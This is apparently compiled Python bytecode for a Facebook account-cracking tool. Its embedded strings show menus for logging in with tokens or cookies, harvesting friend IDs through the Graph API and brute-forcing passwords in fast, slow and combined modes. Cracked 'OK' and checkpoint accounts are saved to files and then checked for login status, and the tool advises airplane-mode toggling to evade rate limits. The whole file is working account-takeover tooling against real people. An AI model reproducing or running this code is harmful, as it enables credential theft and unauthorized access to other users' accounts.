01\x12\x01\x1c\x01\x0e\x01\x1c\x01\x0e\x01\x1c\x01\x16\x01\x16\x01\x16\x01\x16\x01\x16\x01\x16\x01\x16\x01\x16\x01\x16\x01\x16\x01\x16\x01\x16\x01\x16\x01\x16\x01\x16\x01\x16\x01\x08\x01\x14\x01\n\x01r\x9d\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\t\x00\x00\x00C\x00\x00\x00s\xae\x01\x00\x00t\x00d\x01t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01}\x00z%t\x04d\x02d\x03\x83\x02\xa0\x05\xa1\x00}\x01t\x06\xa0\x07d\x04|\x00|\x01f\x02\x16\x00\xa1\x01}\x02t\x08\xa0\t|\x02j\n\xa1\x01}\x03t\x0bd\x05t\x01t\x02t\x01t\x03|\x03d\x06\x19\x00f\x05\x16\x00\x83\x01\x01\x00W\x00n\x18\x04\x00t\x0ct\rf\x02yG\x01\x00\x01\x00\x01\x00t\x0ed\x07t\x0ft\x02t\x0ft\x02f\x04\x16\x00\x83\x01\x01\x00t\x10\x83\x00\x01\x00Y\x00n\x01w\x00g\x00}\x04g\x00}\x05t\x00d\x08t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01}\x06t\x0bd\tt\x03t\x02f\x02\x16\x00\x83\x01\x01\x00t\x06\xa0\x07d\n|\x00|\x06|\x01f\x03\x16\x00\xa1\x01}\x07t\x08\xa0\t|\x07j\n\xa1\x01}\x08|\x08d\x0b\x19\x00D\x00]\t}\t|\x04\xa0\x11|\td\x0c\x19\x00\xa1\x01\x01\x00qr|\x04D\x00]K}\nz<t\x06\xa0\x07d\r|\n|\x01f\x02\x16\x00\xa1\x01}\x0bt\x08\xa0\t|\x0bj\n\xa1\x01}\x0cz\x10|\x0cd\x0b\x19\x00D\x00]\t}\r|\x05\xa0\x11|\rd\x0c\x19\x00\xa1\x01\x01\x00q\x95W\x00n\r\x04\x00t\x0cy\xad\x01\x00\x01\x00\x01\x00t\x0bd\x0e\x83\x01\x01\x00Y\x00n\x01w\x00t\x0bd\x0f|\nd\x10t\x12|\x05\x83\x01\x83\x04\x01\x00|\x05\xa0\x13\xa1\x00\x01\x00W\x00q~\x04\x00t\x0cy\xc9\x01\x00\x01\x00\x01\x00t\x0bd\x11\x83\x01\x01\x00Y\x00q~w\x00t\x0bd\x12\x83\x01\x01\x00t\x00d\x13\x83\x01\x01\x00t\x14\x83\x00\x01\x00d\x00S\x00)\x14Nr\xb7\x00\x00\x00rE\x00\x00\x00r\x7f\x00\x00\x00z-https://graph.facebook.com/%s?access_token=%sr\xba\x00\x00\x00rD\x00\x00\x00r\x82\x00\x00\x00u \x00\x00\x00%s [%s\xe2\x80\xa2%s] %sTAKE ID LIMIT : z\x06%s %sr\xbc\x00\x00\x00r}\x00\x00\x00r\x80\x00\x00\x00z5https://graph.facebook.com/%s/friends?access_token=%sz\x0c [!] PRIVATEu\x07\x00\x00\x00 [\xe2\x80\xa2]r\xc0\x00\x00\x00z\x12 [!] SPAM ACCOUNTSr\x84\x00\x00\x00z\t [ BACK ])\x15r_\x00\x00\x00r`\x00\x00\x00ra\x00\x00\x00rb\x00\x00\x00rk\x00\x00\x00r\x95\x00\x00\x00rf\x00\x00\x00rg\x00\x00\x00rh\x00\x00\x00ri\x00\x00\x00rj\x00\x00\x00r:\x00\x00\x00rp\x00\x00\x00rq\x00\x00\x00r/\x00\x00\x00rc\x00\x00\x00rd\x00\x00\x00r\xc5\x00\x00\x00r\xc6\x00\x00\x00r2\x00\x00\x00r\x99\x00\x00\x00)\x0er\xca\x00\x00\x00ry\x00\x00\x00Z\x02mmZ\x02nnr\x8b\x01\x00\x00Z\x02teZ\x03limr`\x01\x00\x00Z\x03idirz\x00\x00\x00r\x80\x00\x00\x00Z\x04ada2Z\x04idi2rK\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00r\x9e\x00\x00\x00\x04\x05\x00\x00sJ\x00\x00\x00\x14\x01\x02\x01\x0e\x01\x12\x01\x0c\x01\x1e\x01\x10\x01\x14\x01\n\x01\x02\xfe\x04\x03\x04\x01\x14\x01\x10\x01\x14\x01\x0c\x01\x0c\x01\x10\x01\x08\x01\x02\x01\x12\x01\x0c\x01\x02\x01\x0c\x01\x10\x01\x04\xff\x0c\x02\x0c\x01\x02\xff\x12\x02\x0c\x01\x0c\x01\x0c\x01\x02\xff\x08\x02\x08\x01\n\x01r\x9e\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\t\x00\x00\x00C\x00\x00\x00s\n\x03\x00\x00t\x00\x83\x00\x01\x00t\x01\x83\x00\x01\x00t\x02d\x01t\x03t\x04t\x03f\x03\x16\x00\x83\x01\x01\x00t\x05d\x02\x83\x01\x01\x00t\x05d\x03t\x06t\x04t\x06t\x03f\x04\x16\x00\x83\x01\x01\x00t\x05d\x04t\x06t\x04t\x06t\x03f\x04\x16\x00\x83\x01\x01\x00t\x07d\x05t\x06t\x04t\x06t\x03f\x04\x16\x00\x83\x01}\x00|\x00d\x06v\x00rDt\x02d\x07t\x08t\x04t\x08t\x04f\x04\x16\x00\x83\x01\x01\x00t\t\x83\x00\x01\x00\x90\x01n.|\x00d\x08v\x00r\xd3zvt\n\xa0\x0bd\t\xa1\x01}\x01t\x05d\x02\x83\x01\x01\x00t\x05d\nt\x03t\x04t\x03f\x03\x16\x00\x83\x01\x01\x00t\x05d\x02\x83\x01\x01\x00|\x01D\x00]\r}\x02t\x05d\x0bt\x06t\x04t\x06t\x03|\x02f\x05\x16\x00\x83\x01\x01\x00qat\x05d\x02\x83\x01\x01\x00t\x07d\x0ct\x06t\x04t\x06t\x03f\x04\x16\x00\x83\x01}\x03t\x05d\x02\x83\x01\x01\x00|\x03d\x02k\x02r\x92t\x02d\x07t\x08t\x04t\x08t\x04f\x04\x16\x00\x83\x01\x01\x00t\x0c\x83\x00\x01\x00t\n\xa0\rd\r|\x03\x16\x00\xa1\x01\x01\x00t\x0ed\x0e|\x03\x16\x00\x83\x01\xa0\x0f\xa1\x00\xa0\x10\xa1\x00}\x04d\x0f|\x03\x16\x00\xa0\x11d\x10d\x11\xa1\x02\xa0\x11d\x12d\x02\xa1\x02}\x05t\x05d\x13t\x06t\x04t\x06t\x03|\x05t\x12|\x04\x83\x01f\x06\x16\x00\x83\x01\x01\x00W\x00n\xb3\x04\x00t\x13t\x14f\x02y\xd2\x01\x00\x01\x00\x01\x00t\x05d\x14t\x08t\x04t\x08f\x03\x16\x00\x83\x01\x01\x00Y\x00n\xa0w\x00|\x00d\x15v\x00\x90\x01rezwt\n\xa0\x0bd\x16\xa1\x01}\x06t\x05d\x02\x83\x01\x01\x00t\x05d\x17t\x03t\x04t\x03f\x03\x16\x00\x83\x01\x01\x00t\x05d\x02\x83\x01\x01\x00|\x06D\x00]\r}\x02t\x05d\x0bt\x06t\x04t\x06t\x03|\x02f\x05\x16\x00\x83\x01\x01\x00q\xf1t\x05d\x02\x83\x01\x01\x00t\x07d\x0ct\x06t\x04t\x06t\x03f\x04\x16\x00\x83\x01}\x03t\x05d\x02\x83\x01\x01\x00|\x03d\x02k\x02\x90\x01r#t\x02d\x07t\x08t\x04t\x08t\x04f\x04\x16\x00\x83\x01\x01\x00t\x0c\x83\x00\x01\x00t\n\xa0\rd\x18|\x03\x16\x00\xa1\x01\x01\x00t\x0ed\x19|\x03\x16\x00\x83\x01\xa0\x0f\xa1\x00\xa0\x10\xa1\x00}\x04d\x0f|\x03\x16\x00\xa0\x11d\x10d\x11\xa1\x02\xa0\x11d\x12d\x02\xa1\x02}\x05t\x05d\x1at\x06t\x04t\x06t\x03|\x05t\x12|\x04\x83\x01f\x06\x16\x00\x83\x01\x01\x00W\x00n"\x04\x00t\x13t\x14f\x02\x90\x01yd\x01\x00\x01\x00\x01\x00t\x05d\x14t\x08t\x04t\x08f\x03\x16\x00\x83\x01\x01\x00Y\x00n\x0ew\x00t\x02d\x07t\x08t\x04t\x08t\x04f\x04\x16\x00\x83\x01\x01\x00t\t\x83\x00\x01\x00t\x05d\x02\x83\x01\x01\x00t\x07d\x1bt\x06t\x04t\x06t\x03f\x04\x16\x00\x83\x01\x01\x00t\t\x83\x00\x01\x00d\x00S\x00)\x1cNz\x19%s [ %sCRACK RESULTS %s]r9\x00\x00\x00z\x1e%s [%s1%s] %sCHECK OK RESULTSz\x1e%s [%s2%s] %sCHECK CP RESULTSr\x85\x00\x00\x00r=\x00\x00\x00r>\x00\x00\x00r?\x00\x00\x00\xda\x02OKz*%s [%s CRACK RESULTS STORED IN FILE OK%s]u\x12\x00\x00\x00%s [%s\xe2\x80\xa2%s] %s%su"\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sENTER FILE NAME : z\tcat OK/%sz\x05OK/%sz\x02%sr\x97\x01\x00\x00r\x84\x00\x00\x00z\x04.txtu7\x00\x00\x00\n%s [%s\xe2\x80\xa2%s] %sTOTAL CRACK ACCOUNT %s RESULT %s DATEz\x1c%s [%s NO RESULTS FOUND %s]rH\x00\x00\x00\xda\x02CPz,%s [%s CRACK RESULTS STORED IN CP FILES %s]z\tcat CP/%sz\x05CP/%su6\x00\x00\x00\n%s [%s\xe2\x80\xa2%s] %sTOTAL CRACK ACCOUNT %s RESULT %s DATEr\xa7\x00\x00\x00)\x15r2\x00\x00\x00r;\x00\x00\x00r/\x00\x00\x00rb\x00\x00\x00ra\x00\x00\x00r:\x00\x00\x00r`\x00\x00\x00r_\x00\x00\x00rc\x00\x00\x00r\x99\x00\x00\x00r7\x00\x00\x00\xda\x07listdirr~\x00\x00\x00r8\x00\x00\x00rk\x00\x00\x00r\x95\x00\x00\x00rb\x01\x00\x00r\xc4\x00\x00\x00r\xc6\x00\x00\x00rp\x00\x00\x00rq\x00\x00\x00)\x07Z\x02chZ\x03okl\xda\x04filerq\x01\x00\x00Z\x03pppZ\x04del1Z\x03cplr-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00r~\x00\x00\x00(\x05\x00\x00sr\x00\x00\x00\x06\x01\x06\x01\x12\x01\x08\x01\x14\x01\x14\x01\x14\x01\x08\x01\x14\x01\n\x01\x08\x01\x02\x01\n\x01\x08\x01\x12\x01\x08\x01\x08\x01\x18\x01\x08\x01\x14\x01\x08\x01\x08\x01\x14\x01\x06\x01\x0e\x01\x14\x01\x18\x01 \x01\x10\x01\x16\x01\x02\xff\n\x02\x02\x01\n\x01\x08\x01\x12\x01\x08\x01\x08\x01\x18\x01\x08\x01\x14\x01\x08\x01\n\x01\x14\x01\x06\x01\x0e\x01\x14\x01\x18\x01 \x01\x12\x01\x16\x01\x02\xff\x14\x03\x06\x01\x08\x01\x14\x01\n\x01r~\x00\x00\x00c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x12\x00\x00\x00C\x00\x00\x00s\x9e\x02\x00\x00d\x01}\x02t\x00\xa0\x01\xa1\x00}\x03|\x03j\x02\xa0\x03d\x02d\x03d\x04t\x04d\x05|\x02d\x06d\x07d\x08d\td\nd\x0bt\x04d\x0c\x17\x00d\rd\x0ed\x0f\x9c\x0f\xa1\x01\x01\x00i\x00}\x04t\x05|\x03j\x06t\x04d\x0c\x17\x00d\x10|\x02i\x01d\x11\x8d\x02j\x07d\x12\x83\x02}\x05|\x05\xa0\x08d\x13d\x14d\x15i\x01\xa1\x02}\x06g\x00d\x16\xa2\x01}\x07|\x06\xa0\td\x17\xa1\x01D\x00]\x17}\x08|\x08\xa0\x06d\x18\xa1\x01|\x07v\x00rW|\x04\xa0\x03|\x08\xa0\x06d\x18\xa1\x01|\x08\xa0\x06d\x19\xa1\x01i\x01\xa1\x01\x01\x00q@q@|\x04\xa0\x03|\x00|\x01d\x1a\x9c\x02\xa1\x01\x01\x00z\x13t\x05|\x03j\nt\x04|\x06\xa0\x06d\x1b\xa1\x01\x17\x00|\x04d\x1cd\x1d\x8d\x03j\x07d\x12\x83\x02}\tW\x00n\x15\x04\x00t\x00j\x0bj\x0cy\x88\x01\x00\x01\x00\x01\x00t\rd\x1et\x0et\x0ft\x0et\x0ff\x04\x16\x00\x83\x01\x01\x00Y\x00n\x01w\x00d\x1f|\x03j\x10v\x00r\x9at\rd t\x11t\x0ft\x11t\x0ff\x04\x16\x00\x83\x01\x01\x00d\x00S\x00d!|\x03j\x10v\x00\x90\x01r#|\t\xa0\x08d\x13\xa1\x01}\n|\n\xa0\x08d\x17d\x18d"i\x01\xa1\x02d\x19\x19\x00}\x0b|\n\xa0\x08d\x17d\x18d#i\x01\xa1\x02d\x19\x19\x00}\x0c|\n\xa0\x08d\x17d\x18d$i\x01\xa1\x02d\x19\x19\x00}\r|\x0b|\x0b|\x0c|\x0cd%d&|\rd\'\x9c\x07}\x0et\x05|\x03j\nt\x04|\nd\x1b\x19\x00\x17\x00|\x0ed(\x8d\x02j\x07d\x12\x83\x02}\x0fd)d*\x84\x00|\x0f\xa0\td+\xa1\x01D\x00\x83\x01}\x10t\x12t\x13|\x10\x83\x01\x83\x01d,k\x02r\xf9t\rd-t\x11t\x0ft\x11t\x0ff\x04\x16\x00\x83\x01\x01\x00n\x0ft\rd.t\x11t\x0ft\x11t\x14t\x12t\x13|\x10\x83\x01\x83\x01f\x05\x16\x00\x83\x01\x01\x00t\x15t\x13|\x10\x83\x01\x83\x01D\x00]\x12}\x11t\rd/t\x12|\x11d0\x17\x00\x83\x01d1\x17\x00|\x10|\x11\x19\x00\x17\x00\x83\x02\x01\x00\x90\x01q\x0ed\x00S\x00d2t\x12|\t\x83\x01v\x00\x90\x01rC|\t\xa0\x08d3d4d2i\x01\xa1\x02\xa0\x08d3\xa1\x01j\x07}\x12t\rd5t\x0et\x0ft\x0et\x0f|\x12f\x05\x16\x00\x83\x01\x01\x00d\x00S\x00t\rd6t\x0et\x0ft\x0et\x0ff\x04\x16\x00\x83\x01\x01\x00d\x00S\x00)7Nz\xa1Mozilla/5.0 (Linux; Android 11; vivo 1904 Build/RP1A.200720.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36r\xfc\x00\x00\x00rM\x00\x00\x00r@\x00\x00\x00r\xe6\x00\x00\x00r\x18\x01\x00\x00r\x19\x01\x00\x00r\x1a\x01\x00\x00r\x1b\x01\x00\x00r\x1c\x01\x00\x00r\x1d\x01\x00\x00r\x1e\x01\x00\x00r\xfd\x00\x00\x00rL\x00\x00\x00r\x1f\x01\x00\x00rO\x00\x00\x00r\x83\x00\x00\x00r\x01\x01\x00\x00r \x01\x00\x00r!\x01\x00\x00r\x0f\x01\x00\x00r"\x01\x00\x00r_\x00\x00\x00rD\x00\x00\x00r\x03\x01\x00\x00r$\x01\x00\x00r%\x01\x00\x00Tr&\x01\x00\x00z\x19%s[%s!%s] %sSPAM ACCOUNTSr\x07\x01\x00\x00u&\x00\x00\x00%s[%s\xe2\x80\xa2%s] %sACCOUNT OK NO CHECKPOINTr\t\x01\x00\x00r\x05\x01\x00\x00r#\x01\x00\x00r\'\x01\x00\x00r9\x00\x00\x00r(\x01\x00\x00r)\x01\x00\x00r\x06\x01\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00S\x00\x00\x00r*\x01\x00\x00r-\x00\x00\x00r+\x01\x00\x00r,\x01\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00r.\x01\x00\x00\x96\x05\x00\x00r/\x01\x00\x00z\x1dlog_hasil.<locals>.<listcomp>r0\x01\x00\x00r[\x00\x00\x00u\x1d\x00\x00\x00%s[%s\xe2\x80\xa2%s] %sONE TAP ACCOUNTu!\x00\x00\x00%s[%s\xe2\x80\xa2%s] %sTHERE IS %s OPTION z\x03 r \x00\x00\x00r1\x01\x00\x00r2\x01\x00\x00Z\x03divr\x80\x00\x00\x00z\x0e%s[%s!%s] %s%sz %s[%s!%s] %sPASSWORD HAS CHANGED)\x16rf\x00\x00\x00r\xf1\x00\x00\x00rY\x00\x00\x00r\x0b\x01\x00\x00rQ\x00\x00\x00r3\x01\x00\x00rg\x00\x00\x00rj\x00\x00\x00r4\x01\x00\x00r5\x01\x00\x00r\x0f\x01\x00\x00rr\x00\x00\x00r6\x01\x00\x00r:\x00\x00\x00rc\x00\x00\x00ra\x00\x00\x00rZ\x00\x00\x00r`\x00\x00\x00r\xf2\x00\x00\x00r\xc6\x00\x00\x00rb\x00\x00\x00r7\x01\x00\x00)\x13r8\x01\x00\x00r9\x01\x00\x00r\xa5\x00\x00\x00r;\x01\x00\x00r}\x00\x00\x00r<\x01\x00\x00r=\x01\x00\x00r\x10\x01\x00\x00r\xa2\x00\x00\x00r>\x01\x00\x00r \x01\x00\x00r?\x01\x00\x00r@\x01\x00\x00r\'\x01\x00\x00rA\x01\x00\x00rB\x01\x00\x00rC\x01\x00\x00rD\x01\x00\x00Z\x02ohr-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\tlog_hasilc\x05\x00\x00sx\x00\x00\x00\x04\x01\x08\x01\x06\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x06\x01\x02\x01\x02\x01\x08\xf1\x04\x11\x1e\x01\x10\x01\x08\x01\x0e\x01\x0e\x01\x1c\x01\x02\x02\x10\x01\x02\x01&\x01\x10\x01\x18\x01\x02\xff\n\x02\x18\x01\x0c\x01\n\x01\x14\x01\x14\x01\x14\x01\x02\x02\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x06\xf9\x1e\t\x14\x01\x10\x01\x16\x01\x1e\x02\x10\x01"\x01\x04\xff\x0e\x02\x18\x01\x1a\x01\x18\x02r\xa0\x01\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\t\x00\x00\x00C\x00\x00\x00sb\x01\x00\x00t\x00d\x01t\x01t\x02t\x01f\x03\x16\x00\x83\x01\x01\x00t\x03d\x02\x83\x01\x01\x00t\x03d\x03t\x04t\x02t\x04t\x01t\x05f\x05\x16\x00\x83\x01\x01\x00t\x06d\x04t\x04t\x02t\x04t\x01f\x04\x16\x00\x83\x01}\x00z\tt\x07|\x00d\x05\x83\x02\xa0\x08\xa1\x00}\x01W\x00n\x1b\x04\x00t\tyF\x01\x00\x01\x00\x01\x00t\x03d\x06t\nt\x02t\nt\x02f\x04\x16\x00\x83\x01\x01\x00t\x0b\xa0\x0cd\x07\xa1\x01\x01\x00t\r\x83\x00\x01\x00Y\x00n\x01w\x00t\x03d\x08t\x04t\x02t\x04t\x01t\x0et\x0f|\x01\x83\x01\x83\x01f\x05\x16\x00\x83\x01\x01\x00t\x03d\x02\x83\x01\x01\x00|\x01D\x00]3}\x02|\x02\xa0\x10d\td\x02\xa1\x02}\x03|\x03\xa0\x11d\n\xa1\x01}\x04t\x03d\x0bt\x04t\x02t\x04t\x01|\x03f\x05\x16\x00\x83\x01\x01\x00z\x0bt\x12|\x04d\x0c\x19\x00|\x04d\r\x19\x00\x83\x02\x01\x00W\x00n\x0b\x04\x00t\x13j\x14j\x15y\x8a\x01\x00\x01\x00\x01\x00Y\x00q\\w\x00t\x03d\x02\x83\x01\x01\x00q\\t\x03d\x02\x83\x01\x01\x00t\x03d\x0et\x04t\x02t\x04t\x01f\x04\x16\x00\x83\x01\x01\x00t\x03d\x02\x83\x01\x01\x00t\x06d\x0ft\x04t\x02t\x04t\x01f\x04\x16\x00\x83\x01\x01\x00t\x16\x83\x00\x01\x00d\x00S\x00)\x10Nz.%s [ %sCHECK CRACK RESULT ACCOUNT OPTIONS %s]r9\x00\x00\x00u\'\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sEXAMPLE FILE: CP/%s.txtu\x17\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sFILE : r\x7f\x00\x00\x00z\x1f%s [%s!%s] %sFILE NOT EXISTING\xe9\x02\x00\x00\x00u#\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sACCOUNTS LIMIT : %sr"\x00\x00\x00r\xc0\x00\x00\x00u\x1e\x00\x00\x00%s[%s\xe2\x80\xa2%s] %sCHECK LOGIN : %sr\x03\x00\x00\x00r \x00\x00\x00u)\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sCHECKING PROCESS COMPLETEr\xa7\x00\x00\x00)\x17r/\x00\x00\x00rb\x00\x00\x00ra\x00\x00\x00r:\x00\x00\x00r`\x00\x00\x00r\x87\x01\x00\x00r_\x00\x00\x00rk\x00\x00\x00\xda\treadlines\xda\x11FileNotFoundErrorrc\x00\x00\x00r(\x00\x00\x00r)\x00\x00\x00r\x9f\x00\x00\x00r\xf2\x00\x00\x00r\xc6\x00\x00\x00r\xc4\x00\x00\x00r\xd6\x00\x00\x00r\xa0\x01\x00\x00rf\x00\x00\x00rr\x00\x00\x00rs\x00\x00\x00r\x99\x00\x00\x00)\x05rq\x01\x00\x00Z\tbuka_bajuZ\x05memekZ\x06kontolZ\x05titidr-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00r\x9f\x00\x00\x00\xa2\x05\x00\x00s6\x00\x00\x00\x12\x01\x08\x01\x16\x01\x14\x01\x02\x01\x12\x01\x0c\x01\x14\x01\x14\x01\x02\xfe\x1e\x03\x08\x01\x08\x01\x0c\x01\n\x01\x16\x01\x02\x01\x16\x01\x10\x01\x04\x01\x02\xff\n\x02\x08\x01\x14\x01\x08\x01\x14\x01\n\x01r\x9f\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s>\x00\x00\x00t\x00\xa0\x01d\x01\xa1\x01\x01\x00t\x02d\x02\x83\x01\x01\x00t\x00\xa0\x01d\x03\xa1\x01\x01\x00t\x00\xa0\x01d\x04\xa1\x01\x01\x00t\x02d\x05t\x03t\x04t\x03t\x05f\x04\x16\x00\x83\x01\x01\x00d\x00S\x00)\x06Nz-echo " [ CHOOSE LOGIN METHOD ]" | lolcat -a r9\x00\x00\x00z4echo " [1] LOGIN WITH TOKEN" | lolcat -a -d 2 -s 50z6echo " [2] LOGIN WITH COOKIES" | lolcat -a -d 2 -s 50z\x12%s [%s0%s] %sEXIT)\x06r7\x00\x00\x00r8\x00\x00\x00r:\x00\x00\x00r`\x00\x00\x00ra\x00\x00\x00rb\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00r^\x00\x00\x00\xbc\x05\x00\x00s\n\x00\x00\x00\n\x01\x08\x01\n\x01\n\x01\x18\x01r^\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00sJ\x00\x00\x00t\x00\xa0\x01d\x01\xa1\x01\x01\x00t\x00\xa0\x01d\x02\xa1\x01\x01\x00t\x00\xa0\x01d\x03\xa1\x01\x01\x00t\x00\xa0\x01d\x04\xa1\x01\x01\x00t\x00\xa0\x01d\x05\xa1\x01\x01\x00t\x02d\x06t\x03t\x04t\x03t\x04f\x04\x16\x00\x83\x01\x01\x00d\x00S\x00)\x07Nz7echo " [1] AZIM VAU USER AGENT" | lolcat -a -d 2 -s 50z>echo " [2] CHANGE USER AGENT (MANUAL)" | lolcat -a -d 2 -s 50zAecho " [3] CHANGE USER AGENT (ADJUST HP)" | lolcat -a -d 2 -s 50z5echo " [4] DELETE USER AGENT" | lolcat -a -d 2 -s 50z4echo " [5] CHECK USER AGENT" | lolcat -a -d 2 -s 50z\x12%s [%s0%s] %sBACK)\x05r7\x00\x00\x00r8\x00\x00\x00r:\x00\x00\x00rb\x00\x00\x00ra\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00r\xa9\x00\x00\x00\xc3\x05\x00\x00s\x0c\x00\x00\x00\n\x01\n\x01\n\x01\n\x01\n\x01\x18\x01r\xa9\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00sH\x00\x00\x00t\x00d\x01\x83\x01\x01\x00t\x00d\x02t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01\x01\x00t\x00d\x03t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01\x01\x00t\x00d\x04t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01\x01\x00d\x00S\x00)\x05Nr9\x00\x00\x00z\x18%s [%s1%s] %sAPI METHODz\x1b%s [%s2%s] %sMBASIC METHODz)%s [%s3%s] %sFREE FB METHOD (NOT FOR BD)\xa9\x04r:\x00\x00\x00r`\x00\x00\x00ra\x00\x00\x00rb\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00rf\x01\x00\x00\xca\x05\x00\x00s\x08\x00\x00\x00\x08\x01\x14\x01\x14\x01\x18\x01rf\x01\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00C\x00\x00\x00sn\x00\x00\x00t\x00d\x01\x83\x01\x01\x00t\x00d\x02t\x01t\x02t\x01t\x03t\x03t\x02t\x03f\x07\x16\x00\x83\x01\x01\x00t\x00d\x03t\x01t\x02t\x01t\x03t\x03t\x02t\x03f\x07\x16\x00\x83\x01\x01\x00t\x00d\x04t\x01t\x02t\x01t\x03t\x03t\x02t\x03f\x07\x16\x00\x83\x01\x01\x00t\x00d\x05t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01\x01\x00d\x00S\x00)\x06Nr9\x00\x00\x00z,%s [%s1%s] %sFAST CRACK %s[%sFEW RESULTS%s]z1%s [%s2%s] %sSLOW CRACK %s[%sMULTIPLE RESULTS%s]z2%s [%s3%s] %sCRACK VERY SLOW %s[%sMORE RESULTS%s]z%%s [%s4%s] %sCOMBINED PASSWORD CRACKr\xa4\x01\x00\x00r-\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00re\x01\x00\x00\xcf\x05\x00\x00s\n\x00\x00\x00\x08\x01\x1a\x01\x1a\x01\x1a\x01\x18\x01re\x01\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x00s`\x00\x00\x00t\x00d\x01\x83\x01\x01\x00t\x00d\x02t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01\x01\x00t\x00d\x03t\x01t\x02t\x01t\x03t\x04f\x05\x16\x00\x83\x01\x01\x00t\x00d\x04t\x01t\x02t\x01t\x03t\x04f\x05\x16\x00\x83\x01\x01\x00t\x00d\x05t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01\x01\x00d\x00S\x00)\x06Nr9\x00\x00\x00u#\x00\x00\x00%s[%s\xe2\x80\xa2%s] %sCRACKS IN PROGRESS...u-\x00\x00\x00%s[%s\xe2\x80\xa2%s] %sACCOUNT [OK] SAVED TO OK/%s.txtu-\x00\x00\x00%s[%s\xe2\x80\xa2%s] %sACCOUNT [CP] SAVED TO CP/%s.txtu9\x00\x00\x00%s[%s\xe2\x80\xa2%s] %sON FLIGHT MODE FOR [5 SEC] EVERY 5 MINUTES\n)\x05r:\x00\x00\x00r`\x00\x00\x00ra\x00\x00\x00rb\x00\x00\x00r\x87\x01\x00\x00r-\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00rg\x01\x00\x00\xd5\x05\x00\x00s\n\x00\x00\x00\x08\x01\x14\x01\x16\x01\x16\x01\x18\x01rg\x01\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x08\x00\x00\x00C\x00\x00\x00s\xb6\x00\x00\x00zEt\x00\xa0\x01d\x01\xa1\x01\x01\x00t\x00\xa0\x01d\x02\xa1\x01}\x00|\x00j\x02}\x01t\x03d\x03\x83\x01\x01\x00t\x04\x83\x00\x01\x00t\x05d\x04\x83\x01}\x02|\x01|\x02k\x02r5t\x06d\x05t\x07t\x08f\x02\x16\x00\x83\x01\x01\x00t\t\xa0\nd\x06\xa1\x01\x01\x00t\x0b\xa0\x0cd\x07\xa1\x01\x01\x00t\r\x83\x00\x01\x00W\x00d\x00S\x00t\x06d\x08t\x0e\x16\x00\x83\x01\x01\x00t\x0b\xa0\x0cd\t\xa1\x01\x01\x00t\x0f\x83\x00\x01\x00W\x00d\x00S\x00\x04\x00t\x10yZ\x01\x00\x01\x00\x01\x00t\x06d\nt\x08\x16\x00\x83\x01\x01\x00t\x0bj\x11\xa0\x12\xa1\x00\x01\x00Y\x00d\x00S\x00w\x00)\x0bNz(https://www.google.com/search?q=Azim+Vauz!https://pastebin.com/raw/Ne3Yziv7r9\x00\x00\x00z \x1b[1;93m\t KEY PASSWORD :\x1b[1;92m z\x1d%s\n\n\t W E L C O M E %s:) g\x00\x00\x00\x00\x00\x00\xe0?r2\x00\x00\x00z\x1d\n\n%s\t WRONG PASSWORD... :( \nz/xdg-open https://t.me/joinchat/VkOiLi-26agwMjE1z-%s\t PLEASE CHECK YOUR INTERNET 